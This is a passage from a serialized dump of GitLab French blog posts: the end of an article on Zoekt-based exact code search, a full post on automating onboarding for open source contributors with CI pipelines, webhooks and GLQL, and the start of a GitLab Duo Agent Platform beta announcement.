l'utilisateur a accès est affiché.\n\n* La sécurité est intégrée à l'architecture de base, et non ajoutée ultérieurement.\n\n\n### Performances optimisées\n\n\n* **Indexation performante :** les dépôts volumineux sont indexés en quelques dizaines de secondes.\n\n* **Exécution rapide des requêtes :** la plupart des recherches renvoient des résultats en moins d'une seconde.\n\n* **Résultats en streaming :** la nouvelle recherche fédérée basée sur gRPC diffuse les résultats au fur et à mesure de leur découverte.\n\n* **Arrêt anticipé :** dès qu'un nombre suffisant de résultats a été collecté, le système interrompt la recherche.\n\n\n## De la bibliothèque au système distribué : notre réponse aux défis d'ingénierie\n\n\nBien que Zoekt soit très performant pour indexer et rechercher du code localement, son architecture de base était conçue à l'origine comme une bibliothèque minimale, destinée à la gestion des fichiers d'index `.zoekt`, et non comme une base de données distribuée ou un service capable de fonctionner à l'échelle d'une entreprise. \n\n\nVoici les principaux défis techniques que nous avons dû surmonter pour l'adapter pleinement à l'écosystème GitLab.\n\n\n### Défi 1 : création d'une couche d'orchestration\n\n\n**Le problème :** Zoekt a été conçu pour fonctionner avec des fichiers d'index locaux, et non pour être distribué sur plusieurs nœuds desservant de nombreux utilisateurs simultanés.\n\n\n**Notre solution :** nous avons développé une couche d'orchestration complète qui :\n\n\n* crée et gère des modèles de base de données pour suivre les nœuds, les index, les dépôts et les tâches.\n\n* met en œuvre une architecture de nœuds à enregistrement automatique (inspirée du fonctionnement de GitLab Runner).\n\n* gère l'attribution automatique des partitions et l'équilibrage de la charge entre les nœuds.\n\n* fournit une communication bidirectionnelle de l'API entre les nœuds GitLab Rails et Zoekt.\n\n\n### Défi 2 : mise à l'échelle du stockage et de l'indexation\n\n\n**Le problème :** comment gérer efficacement des téraoctets de données d'indexation répartis sur plusieurs nœuds tout en garantissant des mises à jour rapides ?\n\n\n**Notre solution :** nous avons déployé les fonctionnalités suivantes  :\n\n\n* Partitionnement intelligent : les espaces de nommage sont répartis entre les nœuds en tenant compte de leur capacité et de leur charge.\n\n* Réplication indépendante : chaque nœud est indexé indépendamment à partir de [Gitaly](https://gitlab.com/gitlab-org/gitaly) (notre service de stockage Git), évitant ainsi toute synchronisation complexe.\n\n* Gestion avancée des filigranes : un système sophistiqué d'allocation de stockage empêche les nœuds de manquer d'espace.\n\n* Architecture binaire unifiée : un seul binaire `gitlab-zoekt` peut fonctionner à la fois en mode indexeur et en mode serveur web.\n\n\n### Défi 3 : intégration des autorisations\n\n\n**Le problème :** Zoekt n'avait aucune notion du système d'autorisation complexe de GitLab. Les utilisateurs ne doivent voir que les résultats des projets auxquels ils ont accès.\n\n\n**Notre solution :** nous avons intégré un filtrage des autorisations natif directement dans le flux de recherche :\n\n\n* Les requêtes de recherche incluent le contexte des autorisations de l'utilisateur.\n\n* Les résultats sont filtrés pour n’inclure que les éléments auxquels l'utilisateur peut accéder, même dans le cas où les autorisations évoluent avant la fin de l'indexation.\n\n\n### Défi 4 : simplification opérationnelle\n\n\n**Le problème :** gérer un système de recherche distribué ne devrait pas nécessiter une équipe dédiée.\n\n\n**Notre solution :**\n\n\n* Mise à l'échelle automatique : l'ajout de capacité est aussi simple que le déploiement de nœuds supplémentaires. Ces derniers s'enregistrent automatiquement et gèrent immédiatement la charge de travail.\n\n* Auto-réparation : les nœuds qui ne s'enregistrent pas sont automatiquement signalés comme hors ligne, avec redistribution automatique de leurs tâches.\n\n* Partitionnement sans configuration : le système détermine automatiquement les affectations de partitions optimales.\n\n\n## Déploiement progressif : réduire les risques à grande échelle\n\n\nLe déploiement d'un tout nouveau backend de recherche auprès de millions d'utilisateurs a nécessité une planification minutieuse. Voici comment nous avons limité l'impact sur les clients tout en garantissant la fiabilité :\n\n\n### Phase 1 : tests contrôlés (groupe gitlab-org)\n\n\nNous avons commencé par activer la recherche exacte de code uniquement pour le groupe `gitlab-org`, constitué de nos propres dépôts internes. \n\n\nCette étape nous a permis de :\n\n\n* Tester le système avec des charges de travail réelles en production\n\n* Identifier et corriger les goulots d'étranglement liés aux performances\n\n* Rationaliser le processus de déploiement\n\n* Tirer des enseignements concrets sur les workflows grâce aux retours d'utilisateurs\n\n\n### Phase 2 : validation et optimisation des performances\n\n\nAvant d'étendre la fonctionnalité, nous nous sommes assurés que le système pouvait gérer la charge à l'échelle de GitLab.com. Pour cela, nous avons dû :\n\n\n* Mettre en œuvre une surveillance et une gestion des alertes complètes\n\n* Valider la gestion du stockage basée sur la croissance réelle des données en production\n\n\n### Phase 3 : expansion progressive auprès des clients\n\n\nNous avons progressivement ouvert l'accès à la recherche exacte de code aux clients désireux de l'essayer, afin de :\n\n\n* Collecter leurs retours sur les performances et l'expérience utilisateur\n\n* Affiner l'interface utilisateur de recherche en fonction des workflows réels des utilisateurs\n\n* Optimiser les performances d'indexation (par exemple, les grands dépôts comme `gitlab-org/gitlab` sont désormais indexés en environ 10 secondes)\n\n* Ajuster l'architecture en fonction des leçons tirées des premiers essais\n\n* Augmenter massivement le débit d'indexation et améliorer le cycle de vie des transitions d'état\n\n\n### Phase 4 : déploiement à grande échelle\n\n\nAujourd'hui, plus de 99 % des groupes disposant des licences Premium et Ultimate sur GitLab.com ont accès à la recherche exacte de code. \n\n\nLes utilisateurs peuvent :\n\n\n* Basculer facilement entre les modes de recherche par expression régulière et par correspondance exacte\n\n* Tirer parti des avantages sans modifier la configuration\n\n* Revenir à l'ancienne méthode de recherche si nécessaire (bien que peu d'entre eux optent pour cette possibilité)\n\n\nCe déploiement progressif a permis d'éviter toute interruption de service, baisse de performances ou perte de fonctionnalités pendant la transition. Les premiers retours sont très positifs, car les utilisateurs constatent que leurs résultats de recherche sont plus pertinents et qu'ils les obtiennent beaucoup plus rapidement.\n\n\n> Vous souhaitez en savoir plus sur l'architecture et la mise en œuvre de la recherche exacte de code ? Consultez notre [document de conception](https://handbook.gitlab.com/handbook/engineering/architecture/design-documents/code_search_with_zoekt/) complet, qui offre une description technique détaillée de ce système de recherche distribué.\n\n\n## Premiers pas : comment lancer une recherche exacte de code ? \n\n\nLa prise en main de la recherche exacte de code est simple, car cette fonctionnalité est déjà activée par défaut pour les groupes Premium et Ultimate sur GitLab.com (accessibles aujourd'hui à plus de 99 % des groupes éligibles).\n\n\n### Guide de démarrage rapide\n\n\n1. Accédez à la recherche avancée depuis votre projet ou groupe GitLab.\n\n2. Saisissez votre terme de recherche dans l'onglet Code.\n\n3. Basculez entre les modes de recherche par correspondance exacte et par expression régulière.\n\n4. Utilisez des filtres pour affiner votre recherche.\n\n\n### Syntaxe de recherche de base\n\n\nQue vous utilisiez le mode de recherche par correspondance exacte ou par expression régulière, vous pouvez affiner votre recherche avec divers modificateurs :\n\n\n| Exemple de requête | Fonction                                                               |\n\n| ------------------ | ---------------------------------------------------------------------- |\n\n| `file:js`          | Recherche uniquement dans les fichiers dont le nom contient « js »     |\n\n| `foo -bar`         | Recherche « foo », mais exclut les résultats contenant « bar »         |\n\n| `lang:ruby`        | Recherche uniquement dans les fichiers Ruby                            |\n\n| `sym:process`      | Recherche « process » dans les symboles (méthodes, classes, variables) |\n\n\n> **Conseil :** pour optimiser votre recherche, commencez par une requête précise, puis élargissez-la si besoin. L'utilisation des filtres `file:` et `lang:` augmente considérablement la pertinence des résultats.\n\n\n### Techniques de recherche avancées\n\n\nCombinez plusieurs filtres pour gagner en précision :\n\n\n```\n\nis_expected file:rb -file:spec\n\n```\n\n\nCette requête recherche « is_expected » dans les fichiers Ruby dont le nom ne contient pas « spec ».\n\n\nTirez parti des expressions régulières pour obtenir des motifs puissants :\n\n\n```\n\ntoken.*=.*[\\\"']\n\n```\n\n\n[Consultez cette recherche effectuée dans le dépôt GitLab Zoekt.](https://gitlab.com/search?search=token.*%3D.*%5B%5C%22'%5D&nav_source=navbar&project_id=46649240&group_id=9970&search_code=true&repository_ref=main&regex=true)\n\n\nElle permet de trouver des mots de passe codés en dur qui, s'ils ne sont pas détectés, peuvent constituer un risque de sécurité.\n\n\nPour approfondir la syntaxe, consultez la [documentation dédiée à la recherche exacte de code](https://docs.gitlab.com/user/search/exact_code_search/#syntax).\n\n\n## Disponibilité et déploiement\n\n\n### Disponibilité actuelle\n\n\nLa recherche exacte de code est actuellement disponible en version bêta pour les utilisateurs de GitLab.com disposant de licences Premium et Ultimate :\n\n\n* Elle est accessible à plus de 99 % des groupes éligibles sous licence.\n\n* La recherche dans l'interface utilisateur utilise automatiquement Zoekt lorsqu'il est disponible ; la recherche exacte de code via l'API de recherche est activée par le biais d'un feature flag.\n\n\n### Options de déploiement pour les instances Self-Managed\n\n\nPour les instances Self-Managed, nous proposons plusieurs méthodes de déploiement :\n\n\n* Kubernetes/Helm : notre méthode la mieux prise en charge, basée sur notre [Helm Chart `gitlab-zoekt`](https://gitlab.com/gitlab-org/cloud-native/charts/gitlab-zoekt).\n\n* Autres méthodes : nous travaillons actuellement sur la simplification du déploiement via Omnibus et d'autres options d'installation.\n\n\nLes exigences en configuration système varient selon la taille de votre code source, mais l'architecture est conçue pour s'adapter horizontalement et/ou verticalement à mesure que vos besoins évoluent.\n\n\n## Prochaines étapes\n\n\nBien que la recherche exacte de code soit déjà performante, nous l'améliorons continuellement avec :\n\n\n* **Des optimisations à grande échelle** pour gérer des instances comptant des centaines de milliers de dépôts\n\n* **Des options de déploiement renforcées pour les instances Self-Managed**, y compris la prise en charge simplifiée d'Omnibus\n\n* **Une prise en charge complète de la haute disponibilité** avec basculement automatique et équilibrage de la charge\n\n\nRestez à l'écoute pour suivre les prochaines mises à jour lorsque nous passerons de la version bêta à la disponibilité générale.\n\n\n## Transformez votre façon de rechercher des lignes de code\n\n\nAvec la recherche exacte de code, GitLab repense en profondeur la manière dont le code est exploré, en fournissant des correspondances exactes, une prise en charge avancée des expressions régulières et des résultats contextuels. \n\n\nCette nouvelle fonctionnalité résout les aspects les plus frustrants de la recherche de code :\n\n\n* Ne perdez plus votre temps avec des résultats non pertinents.\n\n* Ne ratez plus aucune correspondance importante.\n\n* N'ouvrez plus plusieurs fichiers juste pour comprendre le contexte de base.\n\n* Ne subissez plus de problèmes de performances à mesure que la taille de vos dépôts de code augmente.\n\n\nL'impact s'étend même bien au-delà, à la productivité globale des équipes :\n\n\n* **Vos équipes collaborent plus efficacement** avec un référencement clair du code.\n\n* **Le partage des connaissances s'accélère** avec la détection facile des motifs.\n\n* **L'intégration des nouveaux membres d'équipe s'accélère** avec une compréhension rapide du code source.\n\n* **La sécurité est renforcée** avec un audit efficace des motifs.\n\n* **Une réduction de la dette technique** devient réellement envisageable.\n\n\nLa recherche exacte de code est plus qu'une simple fonctionnalité : elle vous permet de mieux comprendre et de gérer le code. Alors, arrêtez de chercher et commencez à trouver ! \n\n\n**Nous serions ravis de connaître votre avis.** Partagez vos expériences, vos questions ou vos commentaires sur la recherche exacte de code dans notre [ticket dédié aux retours d'expérience](https://gitlab.com/gitlab-org/gitlab/-/issues/420920). Vos retours nous aident à hiérarchiser nos priorités d'améliorations et à enrichir nos futures fonctionnalités.\n\n\n#### Vous souhaitez tirer parti d'une recherche de code plus intelligente ? Pour en savoir plus, consultez notre [documentation](https://docs.gitlab.com/ee/user/search/exact_code_search.html) et essayez dès aujourd'hui notre nouvelle fonctionnalité en effectuant une recherche dans vos espaces de nommage ou vos projets disposant d'une licence Premium ou Ultimate. Vous n'utilisez pas encore GitLab ? Inscrivez-vous pour un [essai gratuit de GitLab Ultimate enrichi des capacités de GitLab Duo](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas) !\n",[913],"open source",{"featured":6,"template":683,"slug":915},"exact-code-search-find-code-faster-across-repositories","content:fr-fr:blog:exact-code-search-find-code-faster-across-repositories.yml","Exact Code Search Find Code Faster Across Repositories","fr-fr/blog/exact-code-search-find-code-faster-across-repositories.yml","fr-fr/blog/exact-code-search-find-code-faster-across-repositories",{"_path":921,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":922,"content":926,"config":935,"_id":937,"_type":16,"title":938,"_source":17,"_file":939,"_stem":940,"_extension":20},"/fr-fr/blog/how-we-use-gitlab-to-grow-open-source-communities",{"noIndex":6,"title":923,"description":924,"ogDescription":924,"ogTitle":923,"ogImage":925},"Développer les communautés open source avec GitLab","Découvrez comment utiliser la plateforme DevSecOps de GitLab pour résoudre les problèmes d'intégration des nouveaux contributeurs.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,w_820,h_500,c_lfill/v1750099558/Blog/Hero%20Images/gitlabflatlogomap.png",{"description":924,"title":927,"category":928,"tags":929,"heroImage":925,"date":930,"body":931,"authors":932},"Comment nous utilisons GitLab pour développer les communautés open source","open-source",[913,270,676],"2025-07-22","L'équipe Contributor Success de GitLab faisait face au défi suivant : alors\nque nos contributeurs open source récurrents fusionnaient davantage de\nmodifications de code et collaboraient sur des fonctionnalités avancées, les\ncontributeurs novices, quant à eux, avaient du mal à se lancer. Nous étions\nconscients que beaucoup de nouveaux contributeurs open source finissaient\npar abandonner sans même demander de l'aide. Attachés à la [mission de\nGitLab](https://handbook.gitlab.com/handbook/company/mission/) où chacun\npeut contribuer, nous aspirions à inverser cette tendance.\n\n\nNous avons commencé à effectuer des recherches sur les contributeurs open source de GitLab. Puis nous avons amélioré les obstacles majeurs. En janvier, nous avons atteint un record de 184 contributeurs communautaires uniques à GitLab en un seul mois, dépassant pour la première fois notre objectif de 170 fixé par l'équipe.\n\n\nTrois mois plus tard, nous l'avons de nouveau battu avec 192 contributeurs.\n\n\nVoici comment nous avons utilisé les propres outils de GitLab pour résoudre le dilemme des nouveaux contributeurs et développer notre communauté [open source](https://about.gitlab.com/fr-fr/blog/what-is-open-source/ \"Qu'est-ce que l'open source ?\").\n\n\n## Ce que nous avons appris sur les nouveaux contributeurs\n\n\nEn 2023, nous avons mené la toute première étude sur les contributeurs open source de GitLab. Nous avons observé six participants qui n'avaient jamais contribué à GitLab.\n\n\nVoici ce qu’ils nous ont dit : \n\n\n* La documentation destinée aux contributeurs était confuse\n\n* La prise en main était difficile \n\n* Trouver de l’aide n'était pas clair\n\n\nSeul un participant sur six a réussi à fusionner une contribution de code dans GitLab au cours de l'étude.\n\n\nIl est devenu évident que nous devions nous concentrer sur l'expérience d'intégration si nous voulions que les nouveaux contributeurs réussissent à faire leurs premiers pas sur GitLab. Nous avons donc [itéré](https://handbook.gitlab.com/handbook/values/#iteration) !\n\n\nNotre équipe a passé l'année suivante à résoudre leurs défis. Nous avons utilisé les outils de GitLab, tels que les templates de tickets, les pipelines programmés, les webhooks et le GitLab Query Language (GLQL), pour construire une solution d'intégration innovante et semi-automatisée.\n\n\nEn 2025, nous avons effectué une étude de suivi des utilisateurs avec de nouveaux participants qui n'avaient jamais contribué à GitLab. Les 10 participants ont tous créé et fusionné avec succès des contributions dans GitLab, avec un taux de réussite de 100 %. Les retours ont montré une grande appréciation pour le nouveau processus d'intégration, la rapidité avec laquelle les chargés de maintenance vérifiaient le travail des contributeurs, et la reconnaissance que nous offrions aux contributeurs.\n\n\n## Création d’une intégration personnalisée\n\n\nNotre solution a commencé par l'engagement. Pour aider les nouveaux contributeurs à se lancer, nous avons mis en place un processus d'intégration personnalisé connectant chaque contributeur avec un chargé de maintenance communautaire.\n\n\nNous avons créé un [template de ticket ](https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md)avec une liste claire de tâches.\n\n\nLe ticket d'intégration gère également l'approbation d'accès aux [forks de la communauté de GitLab](https://about.gitlab.com/blog/gitlab-community-forks/), une collection de projets partagés qui facilitent le push de modifications, la collaboration entre contributeurs, et l'accès aux fonctionnalités GitLab Ultimate et GitLab Duo.\n\n\nEn utilisant des [labels à portée limitée](https://docs.gitlab.com/user/project/labels/#scoped-labels), nous indiquons le statut de la demande d'accès pour faciliter le suivi par les chargés de maintenance.\n\n\n![Ticket d'intégration GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png)\n\n\nNous avons commencé avec un script Ruby exécuté via un pipeline programmé, vérifiant les nouvelles demandes d'accès et utilisant le template de ticket pour créer des tickets d'intégration personnalisés.\n\n\nÀ partir de là, nos chargés de maintenance collaborent avec les nouveaux contributeurs pour vérifier l'accès, répondre aux questions et trouver des tickets. \n\n\n## Standardisation des réponses avec des templates de commentaires\n\n\nAvec plusieurs chargés de maintenance dans la communauté de GitLab, nous voulions assurer une communication cohérente et claire.\n\n\nNous avons créé des [templates de commentaires](https://docs.gitlab.com/user/profile/comment_templates/), que nous synchronisons avec le dépôt en utilisant l'API GraphQL et un [script Ruby](https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb).\n\n\nLe script est déclenché dans le fichier `.gitlab-ci.yml` lorsque des modifications de templates de commentaires sont apportées avec un push vers la branche par défaut (un test est déclenché dans les merge requests).\n\n\n```yaml\n\nexecute:sync-comment-templates:\n  stage: execute\n  extends: .ruby\n  script:\n    - bundle exec bin/sync_comment_templates.rb\n  variables:\n    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == \"trigger\"\n      when: never\n    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'\n    - if: $CI_MERGE_REQUEST_IID\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        REPORT_ONLY: 1\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        FORCE_SYNC: 1\n        DRY_RUN: 0\n        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE\n```\n\n\n![Template de commentaire dans GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png)\n\n\n## Suppression du temps d'attente de 5 minutes\n\n\nNotre première itération était un peu lente. Après avoir commencé le processus d'intégration, les contributeurs se demandaient ce qu’il fallait faire ensuite, tandis que le pipeline programmé prenait jusqu'à 5 minutes pour créer leur ticket d'intégration.\n\n\n[Niklas](https://gitlab.com/Taucher2003), un membre de notre [équipe Core](https://about.gitlab.com/community/core-team/), a trouvé une solution. Il a ajouté des [événements webhook pour les demandes d'accès](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094) et des [templates de charge utile personnalisés pour les webhooks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738).\n\n\nCes fonctionnalités combinées nous ont permis de déclencher un pipeline immédiatement. Cela réduit le temps à environ 40 secondes (le temps qu'il faut au pipeline CI pour s'exécuter) et génère le ticket d'intégration immédiatement. Cette action économise également des milliers de pipelines et de minutes de calcul lorsqu’aucune demande d'accès n’a besoin d'être traitée. \n\n\nNous avons configuré un [token de déclenchement de pipeline](https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token) et l'avons utilisé comme cible pour le webhook, en passant les variables d'environnement souhaitées :\n\n\n```json\n\n{\n  \"ref\": \"main\",\n  \"variables\": {\n    \"EXECUTE_ACCESS_REQUESTS\": \"1\",\n    \"DRY_RUN\": \"0\",\n    \"PIPELINE_NAME\": \"Create onboarding issues\",\n    \"GROUP_ID\": \"{{group_id}}\",\n    \"EVENT_NAME\": \"{{event_name}}\"\n  }\n}\n\n```\n\n\n![Liste de pipelines](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png)\n\n\n## Automatisation des suivis\n\n\nAvec un volume croissant de clients et de contributeurs à la communauté GitLab, les chargés de maintenance avaient du mal à suivre les tickets qui nécessitaient une attention particulière et certaines questions de suivi se perdaient.\n\n\nNous avons mis en œuvre une automatisation utilisant les webhooks et Ruby pour labeliser les tickets mis à jour par les membres de la communauté. Cela crée un signal clair du statut du ticket pour les chargés de maintenance. \n\n\n[GitLab Triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage) relance automatiquement les tickets d'intégration inactifs afin de maintenir cette dynamique.\n\n\n![Relance automatisée des tickets d'intégration inactif dans GitLab ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png)\n\n\n## Organisation du suivi des tickets avec GLQL\n\n\nNous avons construit une [vue GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/) pour garder une trace de l'ensemble des tickets. Ce tableau GLQL recense les tickets d'intégration qui nécessitent une attention particulière, permettant aux chargés de maintenance de les examiner et de les suivre avec les membres de la communauté.\n\n\n![Vue GLQL du suivi des tickets](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png)\n\n\nCes vues GLQL ont amélioré notre efficacité globale de classement. Le succès a été tel que nous avons fini par utiliser cette stratégie dans les programmes [GitLab pour l’open source](https://about.gitlab.com/fr-fr/solutions/open-source/) et [GitLab pour l'éducation](https://about.gitlab.com/fr-fr/solutions/education/). Avec les tableaux GLQL pour les tickets d’assistance, ces programmes communautaires ont réduit leurs temps de réponse de 75 %.\n\n\n## Meilleure accessibilité du README\n\n\nLe [groupe @gitlab-community](https://gitlab.com/gitlab-community/) est l’espace dédié aux contributeurs sur Gitlab.com. Nous avions déjà un fichier `README.md` expliquant les forks de la communauté et le processus d'intégration, mais ce fichier vivait dans un projet meta. Avec notre étude de suivi des utilisateurs, nous avons découvert que cette séparation désorientait les nouveaux contributeurs quand leurs tickets d'intégration se trouvaient dans un projet différent.\n\n\nNous avons alors utilisé la [mise en miroir de projet de GitLab](https://docs.gitlab.com/user/project/repository/mirror/) pour résoudre cela et mis en miroir le projet meta vers `gitlab-profile`. Cela a fait remonter le fichier README existant au niveau du groupe, le rendant plus facile d'accès.\n\n\n![Mise en miroir de projet GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png)\n\n\n![README de groupe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png)\n\n\n## Les résultats parlent d'eux-mêmes\n\n\nEn utilisant GitLab nous-mêmes, nous avons amélioré les points de friction identifiés dans nos études et transformé le parcours des contributeurs de GitLab. Nous avons augmenté le nombre de clients et de membres de la communauté contribuant à GitLab, ajoutant des fonctionnalités au produit, résolvant des bogues, et enrichissant notre catalogue [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD?\").\n\n\nNotre processus d'intégration a augmenté le taux d'adhésion des nouveaux contributeurs au sein de notre communauté, et le nombre total de contributeurs sur les forks de la communauté a doublé au cours des 9 derniers mois.\n\n\n![Graphique de croissance des forks de la communauté](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png)\n\n\nNous avons réduit le temps nécessaire aux nouveaux contributeurs pour apporter leur première contribution en les connectant plus rapidement avec les chargés de maintenance et en les aidant à démarrer. \n\n\nNous utilisons l’[analyse de la chaîne de valeur](https://docs.gitlab.com/user/group/value_stream_analytics/) de GitLab pour suivre nos taux de réponse.\n\n\n* Le délai avant première réponse des chargés de maintenance de la communauté est descendu à 46 minutes au cours des 3 derniers mois\n\n* Le temps d'approbation moyen pour l'accès aux forks de la communauté est descendu à 1 heure au cours des 3 derniers mois\n\n\n![Chronologie de l’analyse de la chaîne de valeur](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png)\n\n\nLe taux de réussite de 100 % de notre étude de suivi des utilisateurs de 2025 a confirmé ces améliorations pour nos contributeurs novices.\n\n\n## Meilleure reconnaissance des contributeurs\n\n\nCorriger les défis rencontrés par nos nouveaux contributeurs nous a permis de nous concentrer sur une meilleure reconnaissance de notre communauté, incitant les novices à revenir. Le résultat : [contributors.gitlab.com](http://contributors.gitlab.com). Nous avons construit un hub central pour nos contributeurs qui comprend des tableaux de classement, des réalisations et des récompenses. Les contributeurs peuvent voir leur impact, suivre leurs progrès et grandir au sein de la communauté.\n\n\n## Partager ce que nous avons appris\n\nCes améliorations fonctionnent et sont reproductibles pour d'autres projets open source. Nous partageons notre approche pour que d'autres projets puissent envisager d'utiliser ces outils pour se développer. \n\n\nAu fur et à mesure que les organisations prennent connaissance des obstacles à la participation, il est possible de créer un environnement open source plus convivial. Avec les outils de GitLab, nous pouvons offrir une expérience plus fluide aux contributeurs et aux chargés de maintenance. \n\n\n**Contactez-nous**\n\n\nVous voulez en savoir plus sur le développement de votre communauté de contributeurs ? Envoyez un e-mail à contributors@gitlab.com ou [créez un ticket](https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues) pour démarrer une discussion. Nous sommes là pour aider à construire des communautés.\n",[933,934],"Lee Tickett","Daniel Murphy",{"featured":6,"template":683,"slug":936},"how-we-use-gitlab-to-grow-open-source-communities","content:fr-fr:blog:how-we-use-gitlab-to-grow-open-source-communities.yml","How We Use Gitlab To Grow Open Source Communities","fr-fr/blog/how-we-use-gitlab-to-grow-open-source-communities.yml","fr-fr/blog/how-we-use-gitlab-to-grow-open-source-communities",{"_path":942,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":943,"content":946,"config":954,"_id":956,"_type":16,"title":957,"_source":17,"_file":958,"_stem":959,"_extension":20},"/fr-fr/blog/gitlab-duo-agent-platform-public-beta",{"noIndex":6,"title":944,"description":945},"GitLab Duo Agent Platform disponible en bêta publique","Découvrez la plateforme d'orchestration DevSecOps conçue pour permettre une collaboration asynchrone entre les équipes de développement et les agents d’IA.",{"tags":947,"category":697,"date":948,"heroImage":949,"authors":950,"description":945,"title":952,"body":953},[699,676,675,827],"2025-07-17","https://res.cloudinary.com/about-gitlab-com/image/upload/v1752678395/impw8no5tbskr6k2afgu.jpg",[951],"Bill Staples","GitLab Duo Agent Platform (bêta) : votre orchestration IA nouvelle génération","**Nous construisons l'avenir du développement logiciel.**\n\nChez GitLab, nous [réinventons l'avenir de l'ingénierie logicielle](https://about.gitlab.com/fr-fr/blog/gitlab-duo-agent-platform-what-is-next-for-intelligent-devsecops/) comme une collaboration entre humains et intelligence artificielle. Les équipes de développement se concentrent sur la résolution de problèmes techniques complexes et l'innovation, tandis que les agents d'IA gèrent les tâches routinières et répétitives qui ralentissent l’avancée des projets. Les développeurs sont libres d'explorer de nouvelles idées à moindre coût, les bogues de backlogs appartiennent au passé, et les utilisateurs des logiciels que vous créez profitent d'une expérience plus fluide, fiable et sécurisée. Ceci n'est pas un rêve lointain, et nous construisons cette réalité aujourd'hui avec GitLab Duo Agent Platform.\n\n## Qu'est-ce que GitLab Duo Agent Platform ?\n\nGitLab Duo Agent Platform est notre plateforme d'orchestration DevSecOps nouvelle génération conçue pour permettre une collaboration asynchrone entre les équipes de développement et les agents d'IA. Cette plateforme transformera votre workflow de développement, passant de processus linéaires isolés à une collaboration dynamique où des agents d'IA spécialisés travaillent à vos côtés et avec votre équipe à chaque étape du cycle de vie du développement logiciel. \n\nImaginez déléguer une tâche de refactorisation complexe à un Software Developer Agent tout en ayant simultanément un Security Analyst Agent qui recherche des vulnérabilités et un Deep Research Agent qui analyse les progrès à travers l'historique de votre dépôt. Tout cela se déroule en parallèle, orchestré de manière transparente dans GitLab.\n\nAujourd'hui, nous annonçons le lancement de la [première version bêta publique de GitLab Duo Agent Platform](https://about.gitlab.com/fr-fr/gitlab-duo/agent-platform/) pour les clients GitLab.com et GitLab Self-Managed (GitLab Premium et Ultimate). Il s'agit seulement de la première d'une série de mises à jour qui amélioreront la façon dont les logiciels sont planifiés, compilés, vérifiés et déployés, tandis que nous amplifions l'ingéniosité humaine grâce à l'automatisation intelligente.\n\nCette première version bêta se concentre sur l’amélioration de l'expérience IDE via l'extension GitLab VS Code et le plug-in JetBrains IDEs. Le mois prochain, nous prévoyons d'apporter l'expérience Duo Agent Platform à l'application GitLab et d'étendre la prise en charge de l'IDE. Permettez-moi de partager un peu plus notre vision de la roadmap d'ici à la disponibilité générale, prévue pour la fin de l’année. Vous trouverez les détails sur la première version bêta ci-dessous.\n\nRegardez cette vidéo ou lisez la suite de cet article pour découvrir ce qui est désormais disponible et ce qui est à venir. Ensuite, si vous êtes prêt à démarrer avec Duo Agent Platform, découvrez comment faire vos premiers pas sur la version bêta publique.\n\n\u003Cdiv style=\"padding:56.25% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1101993507?title=0&byline=0&portrait=0&badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab Agent Platform Beta Launch_071625_MP_v2\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## La position de GitLab en tant que plateforme d'orchestration\n\nGitLab se trouve au cœur du cycle de vie du développement en tant que système d'enregistrement pour les équipes d'ingénierie, orchestrant l'ensemble du parcours, du concept à la production, pour plus de 50 millions d'utilisateurs enregistrés, dont la moitié des entreprises du classement Fortune 500. Cela comprend plus de 10 000 clients payants dans tous les segments et secteurs d’activité, y compris les institutions publiques.\n\nCe qui donne à GitLab un avantage qu'aucun concurrent ne peut égaler : une compréhension complète de tout ce qu'il faut pour livrer des logiciels. Nous rassemblons vos projets, votre code, vos tests, vos scans de sécurité, vos contrôles de conformité et vos configurations CI/CD au sein d'un seul et même endroit. De cette manière, vous améliorez la productivité de votre équipe et orchestrez la collaboration avec les agents d'IA que vous contrôlez.\n\nEn tant que plateforme DevSecOps intelligente et unifiée, 